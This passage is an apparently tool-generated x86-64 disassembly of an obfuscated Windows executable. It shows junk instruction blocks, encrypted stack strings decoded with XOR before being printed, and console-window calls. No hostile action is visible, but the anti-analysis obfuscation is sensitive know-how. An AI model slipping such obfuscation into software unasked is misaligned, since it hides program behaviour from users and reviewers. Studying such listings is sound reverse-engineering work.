movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb00], xmm0
movdqa xmm0, xmmword [rsp + 0xb00]
pxor xmm0, xmmword [rsp + 0xb10]
movdqa xmmword [rsp + 0xb20], xmm0
mov rax, qword [rsp + 0x128]
movdqa xmm0, xmmword [rsp + 0xb20]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x340]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x550]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x130]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x600], xmm0
movdqa xmm0, xmmword [rsp + 0x600]
pxor xmm0, xmmword [rsp + 0x610]
movdqa xmmword [rsp + 0x620], xmm0
mov rax, qword [rsp + 0x130]
movdqa xmm0, xmmword [rsp + 0x620]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x218], rax
mov rdx, qword [rsp + 0x218]
mov rcx, qword [rsp + 0x1d0]
call fcn.1402803fb
mov qword [rsp + 0x1d8], rax
lea rdx, [0x182034e31]
pushf
sub rdx, 0x41faa281
popf
mov rcx, qword [rsp + 0x1d8]
jmp 0x1401e881f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
mov qword [rsp + 0x108], 0
mov rax, qword [rsp + 0x100]
add rax, 8
mov r9d, 0x43947b67
pushf
not r9d
add r9d, 0x95b70b67
xor r9d, 0xcb7a3db2
rol r9d, 0xf1
popf
pushf
not r9d
add r9d, 0xe61d272d
xor r9d, 0x8189f47b
rol r9d, 0xb0
popf
lea r8, [rsp + 0x108]
mov rdx, rax
mov rcx, qword [rsp + 0xb90]
call fcn.140361bad
movzx eax, al
test eax, eax
je 0x1401e893a
push rax
pushf
mov eax, 0x4c5f0ea6
pushf
not eax
add eax, 0x926ff689
xor eax, 0xcd0adc83
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9a2928f8
xor eax, 0x800df0aa
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc1834f61
xor eax, 0xabd7bfc8
rol eax, 0xa0
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x1fc961dd
pushf
not eax
add eax, 0xb35e217b
xor eax, 0xc5f64e6f
rol eax, 0x43
popf
pushf
not eax
add eax, 0x93351d63
xor eax, 0xf678ea6f
rol eax, 0x69
popf
pushf
not eax
add eax, 0xae156a86
xor eax, 0xabde267f
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf7d3aa8f
xor eax, 0x956f20d7
rol eax, 0x62
popf
jmp 0x1401e6e51
cmp qword [rsp + 0x108], 0
jne 0x1401e89d5
push rax
pushf
mov eax, 0x7480c043
pushf
not eax
add eax, 0xc82617bd
xor eax, 0xeacf657d
rol eax, 0x66
popf
pushf
not eax
add eax, 0xfab9fbc0
xor eax, 0xa02f9a91
rol eax, 0x33
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x6efd54ea
pushf
not eax
add eax, 0xc0aeb750
xor eax, 0xe55388f9
rol eax, 0x22
popf
pushf
not eax
add eax, 0x807ee860
xor eax, 0xfd9aa2f2
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xfc3a2e18
xor eax, 0xcf41338c
rol eax, 0x86
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x7d21cbe1
pushf
not edx
add edx, 0xcf7376f7
xor edx, 0xaf2a3b53
rol edx, 0x12
popf
pushf
not edx
add edx, 0xf7027659
xor edx, 0xb5b6806a
rol edx, 0x2c
popf
mov rcx, rax
jmp 0x1401e8a55
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x23]
mov rdi, rax
xor eax, eax
mov ecx, 0x8d635bbf
pushf
not ecx
add ecx, 0xe250b041
xor ecx, 0x9f594756
rol ecx, 0x72
popf
pushf
not ecx
add ecx, 0xaf6199f6
xor ecx, 0xb2d9e850
rol ecx, 0xf0
popf
pushf
not ecx
add ecx, 0xbb498179
xor ecx, 0xc20d8ae6
rol ecx, 0x6f
popf
pushf
not ecx
add ecx, 0xd39a74e7
xor ecx, 0xc1dc79f7
rol ecx, 0xc9
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 0x8771eab4
pushf
not ecx
add ecx, 0xa62880d6
xor ecx, 0xdc38777d
rol ecx, 0x3e
popf
pushf
not ecx
add ecx, 0xef045e25
xor ecx, 0x9e60a5cd
rol ecx, 0xa3
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x1e8], rax
movzx eax, byte [rsp + 0x23]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x50], al
movabs rax, 0x4709b1e4f00e59a9
pushf
not rax
add rax, 0x66400d8f
xor rax, 0x5d42f3bd
rol rax, 0x21
popf
pushf
not rax
add rax, 0x7667a912
xor rax, 0x798260f6
rol rax, 0xb1
popf
mov qword [rsp + 0x350], rax
movabs rax, 0x21692e3700ce6115
pushf
not rax
add rax, 0x75e81b46
xor rax, 0x7bd11099
rol rax, 0xe
popf
pushf
not rax
add rax, 0x6d20cffa
xor rax, 0x75495f29
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x7bd6c1d2
xor rax, 0x58876349
rol rax, 0xe1
popf
pushf
not rax
add rax, 0x5cd62e4a
xor rax, 0x61c63823
rol rax, 0xf
popf
mov qword [rsp + 0x358], rax
movabs rax, 0x547e61069a66f54c
pushf
not rax
add rax, 0x4cc450d5
xor rax, 0x474c2de1
rol rax, 0x71
popf
pushf
not rax
add rax, 0x63983f37
xor rax, 0x68120e15
rol rax, 0xf9
popf
mov qword [rsp + 0x360], rax
movabs rax, 0x5f2ab4f646caab02
pushf
not rax
add rax, 0x7bfac6c5
xor rax, 0x7fc21ee1
rol rax, 0x56
popf
pushf
not rax
add rax, 0x4929222b
xor rax, 0x4e571b36
rol rax, 0x28
popf
pushf
not rax
add rax, 0x799c877d
xor rax, 0x4b7c61b2
rol rax, 7
popf
pushf
not rax
add rax, 0x47d09eb0
xor rax, 0x7dcd342b
rol rax, 0x83
popf
mov qword [rsp + 0x368], rax
movabs rax, 0x76812380329adff3
pushf
not rax
add rax, 0x66ade763
xor rax, 0x4a63a04d
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x6e4c1434
xor rax, 0x4a2c9236
rol rax, 0xf2
popf
mov qword [rsp + 0x370], rax
movabs rax, 0x7812ee797cfb272d
pushf
not rax
add rax, 0x4726ea5d
xor rax, 0x63a7e344
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x55bb6ef1
xor rax, 0x5c638acf
rol rax, 0x13
popf
pushf
not rax
add rax, 0x76d63600
xor rax, 0x5491e47a
rol rax, 0xcb
popf
mov qword [rsp + 0x378], rax
movabs rax, 0x76fb9eda6581a6cc
pushf
not rax
add rax, 0x53dd7e07
xor rax, 0x54a88bb0
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x6527b734
xor rax, 0x59d81ff7
rol rax, 0xae
popf
pushf
not rax
add rax, 0x7d575c4b
xor rax, 0x6e421f83
rol rax, 0xa
popf
mov qword [rsp + 0x380], rax
movabs rax, 0x75ce56671dc9e700
pushf
not rax
add rax, 0x62a37ffb
xor rax, 0x4d94fccf
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x4129f1c3
xor rax, 0x76662ef0
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x58915946
xor rax, 0x5c756201
rol rax, 0x10
popf
mov qword [rsp + 0x388], rax
movabs rax, 0xfdef26b82673d903
pushf
not rax
add rax, 0x6b60dbfd
xor rax, 0x5262ef07
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x41f51b8f
xor rax, 0x44cca135
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x6451d8f9
xor rax, 0x7ce7ac5f
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x473f000b
xor rax, 0x69e9fa11
rol rax, 0x65
popf
mov qword [rsp + 0x390], rax
movabs rax, 0x3160e5d0a9c801b9
pushf
not rax
add rax, 0x41744ae4
xor rax, 0x7f0cacfe
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x44e8ad44
xor rax, 0x7f95cd45
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x55d539e7
xor rax, 0x5c9577e2
rol rax, 0xad
popf
mov qword [rsp + 0x398], rax
movabs rax, 0x113b8551727a0d71
pushf
not rax
add rax, 0x4b705c3b
xor rax, 0x50b312cf
rol rax, 0x52
popf
pushf
not rax
add rax, 0x462f333f
xor rax, 0x5305a898
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x696b3e18
xor rax, 0x4cfff85d
rol rax, 0x93
popf
pushf
not rax
add rax, 0x5194f0c3
xor rax, 0x63b1bfdf
rol rax, 0x8e
popf
mov qword [rsp + 0x560], rax
movabs rax, 0x2abacefff52b4bfb
pushf
not rax
add rax, 0x4a8dcfc1
xor rax, 0x4f7ab635
rol rax, 0x71
popf
pushf
not rax
add rax, 0x5992d229
xor rax, 0x648ecbd9
rol rax, 0x42
popf
mov qword [rsp + 0x568], rax
movabs rax, 0xd856cd3093d70105
pushf
not rax
add rax, 0x42246b4e
xor rax, 0x74aba311
rol rax, 0xc
popf
pushf
not rax
add rax, 0x6ee17d4f
xor rax, 0x5b3a102b
rol rax, 0x50
popf
mov qword [rsp + 0x570], rax
movabs rax, 0xf926c44e6fa78eb2
pushf
not rax
add rax, 0x634ca894
xor rax, 0x55d7a8e8
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x5d9ac799
xor rax, 0x58026d50
rol rax, 0x43
popf
pushf
not rax
add rax, 0x5403e311
xor rax, 0x4eb090f7
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x63f117e2
xor rax, 0x6e36db2d
rol rax, 0xfc
popf
mov qword [rsp + 0x578], rax
movabs rax, 0x4fc1fe473934f3e7
pushf
not rax
add rax, 0x5d4b90aa
xor rax, 0x4bd4f736
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x52d075c6
xor rax, 0x7160bacc
rol rax, 0x5f
popf
mov qword [rsp + 0x580], rax
movabs rax, 0x342d484a86549be2
pushf
not rax
add rax, 0x701a7ab7
xor rax, 0x697e8449
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x699c9a90
xor rax, 0x69d2d83d
rol rax, 0x8d
popf
mov qword [rsp + 0x588], rax
movabs rax, 0x8cf81cd5adbcbbca
pushf
not rax
add rax, 0x65d0436e
xor rax, 0x7705b029
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x62d2fcad
xor rax, 0x5cedef60
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x546b33f3
xor rax, 0x69ddd896
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x5e0628cb
xor rax, 0x6bb87eec
rol rax, 0xb2
popf
mov qword [rsp + 0x590], rax
movabs rax, 0xc67879d903da09fc
pushf
not rax
add rax, 0x5489475e
xor rax, 0x77cf5736
rol rax, 0x73
popf
pushf
not rax
add rax, 0x6dc8cf41
xor rax, 0x7ee9cd0a
rol rax, 0xb1
popf
mov qword [rsp + 0x598], rax
movabs rax, 0x539db16cdcf16ada
pushf
not rax
add rax, 0x531fa4e6
xor rax, 0x768ac0c2
rol rax, 6
popf
pushf
not rax
add rax, 0x5111562a
xor rax, 0x7652c919
rol rax, 0x68
popf
mov qword [rsp + 0x5a0], rax
movabs rax, 0x5ef056f1e8983b3a
pushf
not rax
add rax, 0x7b38ef52
xor rax, 0x7c4e6d1b
rol rax, 0x53
popf
pushf
not rax
add rax, 0x59a32f11
xor rax, 0x61bc4cbc
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x5b4a56c1
xor rax, 0x4c989ee4
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x7616c567
xor rax, 0x66c5ad78
rol rax, 0x35
popf
mov qword [rsp + 0x5a8], rax
lea rax, [rsp + 0x25]
mov rdi, rax
xor eax, eax
mov ecx, 0x166fe74a
pushf
not ecx
add ecx, 0x9684096e
xor ecx, 0xa8d8a201
rol ecx, 0x94
popf
pushf
not ecx
add ecx, 0xf391f70d
xor ecx, 0xc99c3cbf
rol ecx, 0x93
popf
pushf
not ecx
add ecx, 0xa82c5a57
xor ecx, 0xf05292b4
rol ecx, 0xbd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x58], al
movdqa xmm0, xmmword [rsp + 0x560]
movdqa xmmword [rsp + 0x640], xmm0
movdqa xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x630], xmm0
movdqa xmm0, xmmword [rsp + 0x630]
pxor xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x650], xmm0
movdqa xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x350], xmm0
lea rax, [rsp + 0x360]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x570]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x670], xmm0
mov rax, qword [rsp + 0x138]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x660], xmm0
movdqa xmm0, xmmword [rsp + 0x660]
pxor xmm0, xmmword [rsp + 0x670]
movdqa xmmword [rsp + 0x680], xmm0
mov rax, qword [rsp + 0x138]
movdqa xmm0, xmmword [rsp + 0x680]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x580]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x6a0], xmm0
mov rax, qword [rsp + 0x140]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x690], xmm0
movdqa xmm0, xmmword [rsp + 0x690]
pxor xmm0, xmmword [rsp + 0x6a0]
movdqa xmmword [rsp + 0x6b0], xmm0
mov rax, qword [rsp + 0x140]
movdqa xmm0, xmmword [rsp + 0x6b0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x380]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x590]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x148]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x6c0], xmm0
movdqa xmm0, xmmword [rsp + 0x6c0]
pxor xmm0, xmmword [rsp + 0x6d0]
movdqa xmmword [rsp + 0x6e0], xmm0
mov rax, qword [rsp + 0x148]
movdqa xmm0, xmmword [rsp + 0x6e0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x390]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x5a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x700], xmm0
mov rax, qword [rsp + 0x150]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x6f0], xmm0
movdqa xmm0, xmmword [rsp + 0x6f0]
pxor xmm0, xmmword [rsp + 0x700]
movdqa xmmword [rsp + 0x710], xmm0
mov rax, qword [rsp + 0x150]
movdqa xmm0, xmmword [rsp + 0x710]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x350]
mov qword [rsp + 0x1e0], rax
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1e8]
call fcn.1402803fb
mov qword [rsp + 0x1f0], rax
lea rdx, [0x19cf927da]
pushf
sub rdx, 0x5cf07c2a
popf
mov rcx, qword [rsp + 0x1f0]
jmp 0x1401e9454
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
mov qword [rsp + 0xe0], 0
mov rax, qword [rsp + 0x108]
add rax, 0x28
mov r9d, 0xaf0df3f4
pushf
not r9d
add r9d, 0xe0f934ce
xor r9d, 0x8b26ade2
rol r9d, 0x10
popf
pushf
not r9d
add r9d, 0x97ad1ef6
xor r9d, 0xaa736428
rol r9d, 0x32
popf
lea r8, [rsp + 0xe0]
mov rdx, rax
mov rcx, qword [rsp + 0xb90]
call fcn.140361bad
movzx eax, al
test eax, eax
je 0x1401e9582
push rax
pushf
mov eax, 0x97e47e5
pushf
not eax
add eax, 0xa1d8e8fc
xor eax, 0xf267a085
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf312db8e
xor eax, 0x83bf8193
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xea7bd957
xor eax, 0xd117a704
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x8dabc1fd
xor eax, 0xe4314ac9
rol eax, 0x5a
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x5965650
pushf
not eax
add eax, 0xab35d6ae
xor eax, 0xb7cd8a07
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xa65ff220
xor eax, 0x90d19a36
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xeb88ec86
xor eax, 0xf392b24c
rol eax, 0x35
popf
jmp 0x1401e6e51
cmp qword [rsp + 0xe0], 0
jne 0x1401e960a
push rax
pushf
mov eax, 0x2832e481
pushf
not eax
add eax, 0x81c0ca30
xor eax, 0x94626c13
rol eax, 0x25
popf
pushf
not eax
add eax, 0x9eebcd00
xor eax, 0xe3ba9546
rol eax, 0xeb
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x80c0f5a
pushf
not eax
add eax, 0x9e1f0edf
xor eax, 0xbde53eed
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x99ba32cb
xor eax, 0xedf17fd5
rol eax, 0x99
popf
pushf
not eax
add eax, 0xec65d75d
xor eax, 0xa6bf9a8e
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xeff92c42
xor eax, 0xe594fbc7
rol eax, 0x92
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x74b9432f
pushf
not edx
add edx, 0xec8d0479
xor edx, 0xa9e0e16f
rol edx, 0x69
popf
pushf
not edx
add edx, 0xe2ec3e83
xor edx, 0x8e412059
rol edx, 0xf4
popf
pushf
not edx
add edx, 0xc17f155d
xor edx, 0xd81a5350
rol edx, 0xa2
popf
pushf
not edx
add edx, 0xb39d1ccf
xor edx, 0xf60344d1
rol edx, 0x70
popf
mov rcx, rax
jmp 0x1401e96c7
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x26]
mov rdi, rax
xor eax, eax
mov ecx, 0x15368b6
pushf
not ecx
add ecx, 0xc705936a
xor ecx, 0x966701c9
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0xb4820057
xor ecx, 0xb7c1b83e
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0xb217ebc7
xor ecx, 0x8726d450
rol ecx, 0xea
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x27]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ae2e556
pushf
not ecx
add ecx, 0xa4aeca7f
xor ecx, 0xe8a7cd29
rol ecx, 0xb7
popf
pushf
not ecx
add ecx, 0xe759d22e
xor ecx, 0xe6991e19
rol ecx, 0x77
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x200], rax
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x68], al
movabs rax, 0x4e6f286d33b623aa
pushf
not rax
add rax, 0x77e865b9
xor rax, 0x4db59d98
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x6baccbf8
xor rax, 0x4f2f9bef
rol rax, 0x75
popf
pushf
not rax
add rax, 0x75445037
xor rax, 0x5dd70f99
rol rax, 0xdc
popf
mov qword [rsp + 0x3a0], rax
movabs rax, 0x3a3c52176798a12f
pushf
not rax
add rax, 0x72ae0f21
xor rax, 0x44dfdc9f
rol rax, 0x98
popf
pushf
not rax
add rax, 0x679b5f24
xor rax, 0x787f369c
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x4f30061b
xor rax, 0x6e206051
rol rax, 0xbb
popf
pushf
not rax
add rax, 0x6d0b1074
xor rax, 0x695c04df
rol rax, 0x42
popf
mov qword [rsp + 0x3a8], rax
movabs rax, 0x765255654d4ce885
pushf
not rax
add rax, 0x6cfc50c8
xor rax, 0x7299f35a
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x63ef4c5a
xor rax, 0x675587b6
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x6aef7e64
xor rax, 0x6dcc8c21
rol rax, 0xdc
popf
mov qword [rsp + 0x3b0], rax
movabs rax, 0x2087dfabd60368aa
pushf
not rax
add rax, 0x5bd012cd
xor rax, 0x5f2bd48a
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x450726d6
xor rax, 0x59b8d8d5
rol rax, 0xd5
popf
mov qword [rsp + 0x3b8], rax
movabs rax, 0xbe3a148e225736ea
pushf
not rax
add rax, 0x7f83747d
xor rax, 0x75b561b7
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x722724ba
xor rax, 0x44eb3d8c
rol rax, 0xfe
popf
mov qword [rsp + 0x3c0], rax
movabs rax, 0x28526bdb4f8f5643
pushf
not rax
add rax, 0x7f42a826
xor rax, 0x4a5ba6d9
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x7c2f34ed
xor rax, 0x780683c8
rol rax, 0xff
popf
mov qword [rsp + 0x3c8], rax
movabs rax, 0xa4588901b5004991
pushf
not rax
add rax, 0x53b39fbe
xor rax, 0x5c8db38d
rol rax, 0xff
popf
pushf
not rax
add rax, 0x4b957bf7
xor rax, 0x501621ba
rol rax, 0x31
popf
pushf
not rax
add rax, 0x5d37266c
xor rax, 0x7c588f0f
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x60003eff
xor rax, 0x62a99827
rol rax, 0xdf
popf
mov qword [rsp + 0x3d0], rax
movabs rax, 0xd0ea3213097f310a
pushf
not rax
add rax, 0x43d84d70
xor rax, 0x7b611ee5
rol rax, 0x52
popf
pushf
not rax
add rax, 0x6144154b
xor rax, 0x52ed0e8c
rol rax, 0xd4
popf
mov qword [rsp + 0x3d8], rax
movabs rax, 0xd9a9810fdee445bd
pushf
not rax
add rax, 0x5175ad21
xor rax, 0x62463ad2
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x6c1069e5
xor rax, 0x6df57306
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x486ff5f8
xor rax, 0x4f1d1b26
rol rax, 0xf5
popf
mov qword [rsp + 0x3e0], rax
movabs rax, 0x61e9fb89013c1c73
pushf
not rax
add rax, 0x68ca549d
xor rax, 0x5f49516a
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x449f4277
xor rax, 0x7b7741b0
rol rax, 0x53
popf
mov qword [rsp + 0x3e8], rax
movabs rax, 0xda91ca1e5aef2c84
pushf
not rax
add rax, 0x4170605d
xor rax, 0x7fdb82e4
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x4c3b318a
xor rax, 0x613fb4c4
rol rax, 7
popf
mov qword [rsp + 0x5b0], rax
movabs rax, 0xaa2e617b415c2f0b
pushf
not rax
add rax, 0x77fb2836
xor rax, 0x78d6d7d3
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x41751784
xor rax, 0x6ff6a479
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x78be09df
xor rax, 0x65065dec
rol rax, 0x43
popf
mov qword [rsp + 0x5b8], rax
movabs rax, 0xe01a5a605bbb6ffe
pushf
not rax
add rax, 0x4d41707b
xor rax, 0x4432e6de
rol rax, 0x53
popf
pushf
not rax
add rax, 0x683252d0
xor rax, 0x42dbacce
rol rax, 0xc8
popf
mov qword [rsp + 0x5c0], rax
movabs rax, 0x1be5638caf89f0a2
pushf
not rax
add rax, 0x7439b88d
xor rax, 0x7272cf38
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x559dd107
xor rax, 0x7949d701
rol rax, 0xbb
popf
pushf
not rax
add rax, 0x5e931f84
xor rax, 0x40c65e8f
rol rax, 0xe5
popf
mov qword [rsp + 0x5c8], rax
movabs rax, 0x6e9b45d8e20e99aa
pushf
not rax
add rax, 0x68645573
xor rax, 0x5fdad4f7
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x4501e7fd
xor rax, 0x74719aeb
rol rax, 0xbd
popf
mov qword [rsp + 0x5d0], rax
movabs rax, 0xeb3a40a6425df88a
pushf
not rax
add rax, 0x700a055b
xor rax, 0x76b56c78
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x6e2206ba
xor rax, 0x4ddbb2ef
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x45680d50
xor rax, 0x7c5df85a
rol rax, 0x3c
popf
mov qword [rsp + 0x5d8], rax
movabs rax, 0x4b23856cd2abe6e3
pushf
not rax
add rax, 0x5cc20f67
xor rax, 0x448f5215
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x7ef8b6eb
xor rax, 0x443fb35c
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x489e9234
xor rax, 0x4f2fe630
rol rax, 0xf7
popf
mov qword [rsp + 0x5e0], rax
movabs rax, 0x7714ef04e156c115
pushf
not rax
add rax, 0x65226f38
xor rax, 0x4ebc34ed
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x4b3ca6ac
xor rax, 0x54880414
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x74a6bbbc
xor rax, 0x71e33395
rol rax, 0xb7
popf
mov qword [rsp + 0x5e8], rax
movabs rax, 0x6fda52c79232b676
pushf
not rax
add rax, 0x656069ec
xor rax, 0x65ad13ae
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x51524b12
xor rax, 0x6aae9021
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x757a6461
xor rax, 0x645d4ead
rol rax, 0x64
popf
mov qword [rsp + 0x5f0], rax
movabs rax, 0xb2e6ce93d25477f6
pushf
not rax
add rax, 0x7eedd0ab
xor rax, 0x409fe0be
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x58a80c0d
xor rax, 0x7844bc6e
rol rax, 0x7c
popf
mov qword [rsp + 0x5f8], rax
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0xf5b9ed6e
pushf
not ecx
add ecx, 0xb83c01c3
xor ecx, 0xfcecd2a7
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0x99188377
xor ecx, 0xeaf725e0
rol ecx, 0x65
popf
pushf
not ecx
add ecx, 0xd88d7267
xor ecx, 0xbd190f49
rol ecx, 0xe3
popf
pushf
not ecx
add ecx, 0xb5fccf2e
xor ecx, 0x97297723
rol ecx, 0x49
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x70], al
movdqa xmm0, xmmword [rsp + 0x5b0]
movdqa xmmword [rsp + 0x730], xmm0
movdqa xmm0, xmmword [rsp + 0x3a0]
movdqa xmmword [rsp + 0x720], xmm0
movdqa xmm0, xmmword [rsp + 0x720]
pxor xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0x740], xmm0
movdqa xmm0, xmmword [rsp + 0x740]
movdqa xmmword [rsp + 0x3a0], xmm0
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x5c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x760], xmm0
mov rax, qword [rsp + 0x158]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x750], xmm0
movdqa xmm0, xmmword [rsp + 0x750]
pxor xmm0, xmmword [rsp + 0x760]
movdqa xmmword [rsp + 0x770], xmm0
mov rax, qword [rsp + 0x158]
movdqa xmm0, xmmword [rsp + 0x770]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x5d0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x790], xmm0
mov rax, qword [rsp + 0x160]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x780], xmm0
movdqa xmm0, xmmword [rsp + 0x780]
pxor xmm0, xmmword [rsp + 0x790]
movdqa xmmword [rsp + 0x7a0], xmm0
mov rax, qword [rsp + 0x160]
movdqa xmm0, xmmword [rsp + 0x7a0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x168], rax
lea rax, [rsp + 0x5e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x7c0], xmm0
mov rax, qword [rsp + 0x168]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x7b0], xmm0
movdqa xmm0, xmmword [rsp + 0x7b0]
pxor xmm0, xmmword [rsp + 0x7c0]
movdqa xmmword [rsp + 0x7d0], xmm0
mov rax, qword [rsp + 0x168]
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x170], rax
